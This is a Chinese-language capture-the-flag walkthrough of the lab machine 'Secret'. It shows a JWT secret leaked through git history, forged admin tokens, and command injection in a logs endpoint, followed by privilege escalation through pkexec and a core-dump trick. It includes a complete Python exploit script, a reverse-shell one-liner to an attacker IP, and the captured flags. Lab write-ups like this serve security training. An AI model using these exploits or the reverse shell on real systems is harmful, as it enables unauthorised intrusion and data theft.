[Meachines] [Easy] Secret DUMB Docs .Git Leak+JWT+RCE+TRP00F权限提升+prctl函数转存储权限提升
字数 1056 2025-08-29 08:30:31
DUMB Docs 渗透测试教学文档
1. 信息收集
1.1 目标识别
- IP地址:
10.10.11.120 - 开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 80/tcp: nginx 1.18.0 (Ubuntu)
- 3000/tcp: Node.js (Express middleware)
1.2 服务识别
- Web服务:
- 主站点: http://10.10.11.120/
- Node.js API: http://10.10.11.120:3000/
- 可下载文件: http://10.10.11.120/download/files.zip
2. 漏洞利用
2.1 .Git信息泄露
- 下载并解压files.zip:
$ unzip files.zip - 检查git日志发现敏感信息:
$ git log -p - 发现JWT密钥:
TOKEN_SECRET: gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
2.2 JWT伪造
-
分析API端点:
$ grep -R jwt $ cat index.js $ grep -R /api/user -
发现关键API:
- 注册: POST /api/user/register
- 登录: POST /api/user/login
- 日志查看: GET /api/logs
-
利用流程:
- 注册用户
- 登录获取JWT
- 修改JWT中的name字段为"theadmin"
- 使用泄露的密钥重新签名JWT
2.3 命令注入
- 当用户名为theadmin时,文件名参数存在命令注入漏洞
- 利用方式:
GET /api/logs?file=1;command
3. 利用工具
3.1 自动化利用脚本
import requests
import jwt
import json
import sys
if len(sys.argv) != 3:
print(f"Usage: python {sys.argv[0]} <BASE_URL> <COMMAND>")
sys.exit(1)
BASE_URL = sys.argv[1]
command = sys.argv[2]
HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/json"
}
# 注册用户
register_data = {
"name": "maptnh",
"email": "maptnh@gmail.com",
"password": "maptnh"
}
register_response = requests.post(f"{BASE_URL}/api/user/register", json=register_data, headers=HEADERS)
# 登录获取JWT
login_data = {
"email": "maptnh@gmail.com",
"password": "maptnh"
}
login_response = requests.post(f"{BASE_URL}/api/user/login", json=login_data, headers=HEADERS)
# 伪造JWT
auth_token = login_response.headers.get("auth-token")
decoded_token = jwt.decode(auth_token, options={"verify_signature": False})
decoded_token["name"] = "theadmin"
SECRET_KEY = "gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE"
new_token = jwt.encode(decoded_token, SECRET_KEY, algorithm="HS256")
# 执行命令
get_headers = HEADERS.copy()
get_headers["auth-token"] = new_token
get_response = requests.get(f"{BASE_URL}/api/logs?file=1;{command}", headers=get_headers)
print(get_response.text.strip())
3.2 反向Shell
$ python3 exp.py http://10.10.11.120:3000 "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.25\",10031));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")'"
4. 权限提升
4.1 获取用户权限
- 用户flag:
da2c7d1f1b155b171c469d4cb20214b6
4.2 TRP00F提权
- 使用TRP00F工具:
$ python3 trp00f.py --lhost 10.10.16.25 --lport 10000 --rhost 10.10.16.25 --rport 10032 --http 9999 - 选择pkexec漏洞利用
4.3 prctl核心转储提权
-
原理:
prctl(PR_SET_DUMPABLE, 1)设置后,进程在异常终止时会生成核心转储- 适用于设置了SUID/SGID的程序
-
利用步骤:
$ ps -aux | grep count # 查找目标进程 $ kill -6 107613 # 发送信号触发核心转储 $ apport-unpack /var/crash/_opt_count.1000.crash /tmp/res $ cat /tmp/res/CoreDump -
获取root flag:
2afe145641cd410148ca775633e8584e
5. 关键点总结
-
信息泄露:
- .git泄露导致JWT密钥暴露
- 源代码审计发现命令注入点
-
JWT安全:
- 使用弱密钥(gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE)
- 可通过修改name字段提升权限
-
输入验证:
- 文件名参数未正确过滤导致命令注入
-
权限提升:
- prctl核心转储技术
- TRP00F工具利用